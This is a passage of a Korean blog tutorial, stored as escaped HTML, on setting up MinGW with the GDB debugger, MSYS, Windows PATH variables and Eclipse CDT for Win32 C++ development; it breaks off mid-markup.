받은것입니다...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt; 위에서 받은 &lt;strong&gt;gdb-6.8-mingw-3.tar.bz2 파일을 (알집으로 풀면됩니다) 압축 해제 합니다.&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt; 그럼 또하나의 압축 화일이 나오는데 다시 압축해제 하세요..&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt; 보시면 몇가지 폴더가 나오는데 MinGW 설치 된 폴더 와 비슷한 구조입니다. &lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt; 압축해제된 파일을 MingGW 가 설치된 해당 폴더에 복사해 넣어 주세요(덮어 쓰기 하세요 ^^)&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt; 이제 디버거 까지 모양새를 갖췄습니다.&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;span style="font-size:18;"&gt;3. MSYS 설치 (Minimal System)&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt; - 디버거 설치시 받았던 MSYS-1.0.10.exe 화일을 더블 클릭합니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;img src="http://cafefiles.naver.net/data30/2008/5/22/92/msys1_ppchun.gif" id="userImg3425747" style="width: 502px; height: 388px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt;1.설치할 폴더를 정해줍니다&lt;/span&gt;&lt;/strong&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;img src="http://cafefiles.naver.net/data31/2008/5/22/149/msys1_%281%29_ppchun.gif" id="userImg4170554" style="width: 502px; height: 392px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt;2. 이 화면은 Windows 시작 버튼 의 응용프로그램 폴더에 저장 하려고 하는겁니다.&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt; MinGW 와 같이 두는게 좋겠죠? &lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;img src="http://cafefiles.naver.net/data31/2008/5/22/124/msys1_%282%29_ppchun.gif" id="userImg1291668" style="width: 674px; height: 443px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt;3. 설치끝부분에 CMD 창이 실행 되면서 위와 같은 그림이 나옵니다.&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;질문을 하는데 첫번째 질문이 post install 을 하겠느냐는 것이죠? 당연히 y 를 눌러 줍니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;두번째 질문은 MinGW 가 설치 되었느냐는 것인데 이것도 y 를 눌러 줍니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;마지막 질문은 MinGW가 설치된 폴더를 물어 봅니다. 화면에 보는데로 MingGW 가 설치된 폴더를 직접 작성해줍니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;전 c:/MinGW 이므로 화면 처럼 입력 했습니다(&lt;span style="color: rgb(255, 0, 0);"&gt;주의!!) 폴더 구분 표시자가 "\" 가 아닌 "/" 입니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;이것으로 MSYS까지 설정을 마쳤습니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;span style="font-size:18;"&gt;4. MinGW 와 MSYS 를  환경변수 PATH 에 경로 저장하기&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;- 이 과정은 MinGW 와 MSYS 각각의 실행화일 들이 저장 되어 있는 각각의 bin 폴더를 억세스 할 수 있도록&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;  윈도우즈 PATH 환경변수에 경로를 기억 시키는 작업입니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt; 1. 바탕화면의 내 컴퓨터를 마우스 우측 버튼을 클릭해서 속성을 선택합니다.&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt; 2. 속성창이 나오면 고급 탭을 누릅니다.&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;img src="http://cafefiles.naver.net/data30/2008/5/22/242/config2_%282%29_ppchun.gif" id="userImg6343262" style="width: 487px; height: 429px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt;3.환경변수를 클릭해서 들어갑니다.&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;img src="http://cafefiles.naver.net/data30/2008/5/22/254/config2_ppchun.gif" id="userImg2651445" style="width: 445px; height: 395px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt;4. 환경변수 창입니다 . 시스템변수를 잘 보면 변수 부분에 PATH 를 찾아서 선택한다음 편집을 누릅니다.&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;img src="http://cafefiles.naver.net/data30/2008/5/22/238/config2_%281%29_ppchun.gif" id="userImg9342857" style="width: 488px; height: 434px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;값 부분에 위 그림과 같이 MinGW\bin 폴더와 msys\bin 폴더를 추가로 입력해 주었습니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;패스 입력시 각각의 폴더 는 ";"로 구분합니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;즉 저같은 경우는 "&lt;strong&gt;&lt;span style="font-size:11;"&gt;C:\MinGW\bin;C:\msys\1.0\bin;"&lt;/span&gt;&lt;/strong&gt; 이렇게 입력했습니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;아 만약 패스 입력하기전 PATH 의 값부분의 끝값에 ";" 이 없을수도 있습니다. 만약 없다면&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;";&lt;span style="font-size:11;"&gt;&lt;strong&gt;C:\MinGW\bin;C:\msys\1.0\bin;"&lt;/strong&gt; &lt;span style="font-size:10;"&gt;이렇게 입력해 주셔야 합니다.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:10;"&gt; &lt;/span&gt;&lt;span style="font-size:10;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;span style="font-size:10;"&gt;입력이 끝났으면 확인을 세번 눌러서 창을 닫아 주세요 ^^ 여기까지 MinGW 설치가 완전히 끝났습니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;span style="font-size:10;"&gt;공짜라 시키는 일도 많군요 ^^ 이제 설치가 제대로 되었는지 확인해 보죠 ^^&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;5. MinGW 테스트&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;img src="http://cafefiles.naver.net/data30/2008/5/22/234/test_ppchun.gif" id="userImg7372272" style="width: 670px; height: 440px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt; - 윈도우즈 시작 -&gt; 실행을 선택해서 다이얼로그가 나오면 cmd 라고 입력하고 엔터를 누르면&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;위와 같은 도스창이 나옵니다. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;여기서 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&gt;make 입력후 엔터&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&gt;gcc --version 입력후 &lt;/span&gt;&lt;span style="font-size:11;"&gt;엔터&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;결과가 위 화면과 같다면 설치가 완료 된것입니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;혹 내부 명령어가 아닙니다와 같은 메세지가 나온다면, 패스 지정이 잘못 된것이니 4번 과정을 차근히 보시면서 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;다시 설정해 주세요 ^^&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;이제 구슬이 서말이라도 꿰어야 보배 라고 이렇듯 준비된 베이스를 멋지게 이용할수 있는 무료 IDE 프로그램인&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;Eclipse c/C++ 버전을 설치 하도록 하겠습니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:18;"&gt;6. Eclipse 설치&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;  &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;  &lt;strong&gt;&lt;중요!!&gt;&lt;/strong&gt; - Eclipse 는 java 기반 어플리케이션으로 jre, jdk 등을 필요로 합니다&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;   java 로 개발 하지 않으신다면, jre(java runtime) 만 설치 하시면 됩니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;   jre 설치 주소 -- &lt;a target="_blank" href="http://www.java.com/en/download/windows_automatic.jsp"&gt;http://www.java.com/en/download/windows_automatic.jsp&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;   이동한 다음 파란 단추 누르면 설치 화면 나옵니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;  jre 또는 jdk 가 이미 설치 되어 있거나 설치 완료 했다면, eclipse 를 다운로드 받으로 갑니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; eclipse 다운로드 링크 -- &lt;a target="_blank" href="http://www.eclipse.org/downloads/"&gt;http://www.eclipse.org/downloads/&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; 사이트 이동하면 아래의 그림과 같을것입니다. &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;img src="http://cafefiles.naver.net/data31/2008/5/21/261/eclipse_dpwnload_ppchun.gif" id="userImg7445378" style="width: 684px; height: 387px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;약간 색깔이 틀린부분 Eclipse IDE for C/C++ Developers -Windows 버전 우측의 Windows 를 클릭해서 다운로드 하세요.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;원래 eclipse 에 CDT 를 따로이 설치 되야 하는걸 성격 좋으신분들이 다 마무리 해놓은 버전입니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;따로 설치 화일이 아닌 압축화일이므로 압축화일을 적당한곳에 풀어서 바로 사용하면 됩니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;C/C++ 에 최적화 되어 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;따로 수정 해야 될건 없습니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;단지 Windows 관련 프로그래밍을 할때는 아래의 사항을 준수해야 합니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;프로젝트를 생성하고 난후 (ex)First_prj 란 프로젝트를 만들었을때&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;project 메뉴의  Properties 를 클릭해서 아래의 사항을 추가해 주어야 합니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:12;"&gt;1. Win32 어플리케이션 프로젝트를 하려고자 할때.&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;Properties 의 트리메뉴에 C/C++Build 에 settings 를 선택하면 우측에 아래의 그림이 나옵니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://cafefiles.naver.net/data31/2008/5/21/268/%C6%F7%B8%CB%BA%AF%C8%AF_eclipse_config_ppchun.gif" id="userImg5475964" style="width: 622px; height: 590px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;여기서 MinGW C++ Linker 를 선택해서 아래 그림과 같이 Miscellaneous 를 선택해서 우측 Linker flags 란에&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;-mwindows 를 추가해줍니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;추가된 사진&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://cafefiles.naver.net/data31/2008/5/21/250/eclipse_cinfigured_ppchun.gif" id="userImg6091522" style="width: 623px; height: 594px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;완료 했다면 Apply 후 OK 를 눌러 주세요 ..&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;이상과 같이 설치 완료 했다면 윈도우즈 기반 프로그램 실행을 위한 개발툴 설정 까지 마쳤습니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;다른 분들의 글들에는 Mingw32-make.exe 화일을 make.exe 로 복사해서 사용하라고 해 놓았습니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;저도 그래서 처음 이 글에 그렇게 했었는데. MSYS 를 따로 설정 했기 때문에 , 그 부분은 필요가 없어졌습니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:18;"&gt;3. TEST&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;이제 정상적으로 작동하는지 테스트를 해봐야 겠군요.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;위에 링크 되어  있는 화일 test.cpp 화일을 적당한 곳에 카피해 둡니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;eclipse 를 실행시켜 &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;File -&gt; New -&gt; C++project 를 선택해서 프로젝트를 하나 만듭니다. (폴더는 알아서 ..)&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;테스트 하려고 하는 test.cpp 화일의 코드는 그냥 윈도우 하나만 만들어 내는 프로그램입니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;그러니&lt;strong&gt;&lt;span style="font-size:10;"&gt; win32 환경으로 컴파일이 되야 하므로 위 설정중 6-1 과정을 선택해줍니다.&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;준비가 되었으면 cpp 화일을 하나 만들어야 겠습니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;Project Explorer 에서 방금 만들어진 프로젝트에 우클릭해서 New-&gt;Csource file 을 만듭니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span 